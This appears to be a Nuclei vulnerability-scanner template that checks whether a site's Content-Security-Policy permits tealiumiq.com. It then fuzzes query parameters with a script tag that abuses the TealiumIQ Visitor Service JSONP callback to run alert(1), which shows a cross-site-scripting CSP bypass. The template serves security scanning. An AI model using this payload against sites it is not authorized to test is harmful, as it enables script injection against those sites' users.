id: tealiumiq-visitor-service-csp-bypass

info:
  name: Content-Security-Policy Bypass - TealiumIQ Visitor Service
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,tealiumiq-visitor-service,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "tealiumiq.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: tealiumiq_visitor_service_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://visitor-service.tealiumiq.com/northwesternmutual/main/q?callback=alert(1)"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "tealiumiq_visitor_service_csp_xss == true"
# digest: 4b0a00483046022100ffbe8bc86c5339494447eac611a869cdd7e9ea3059fbae91fad4af227eff0af80221009e4fa2d55c78736e3931261402b6ca2fe85261c068d1e28162b7fe8303cc89f3:922c64590222798bb761d5b6d8e72950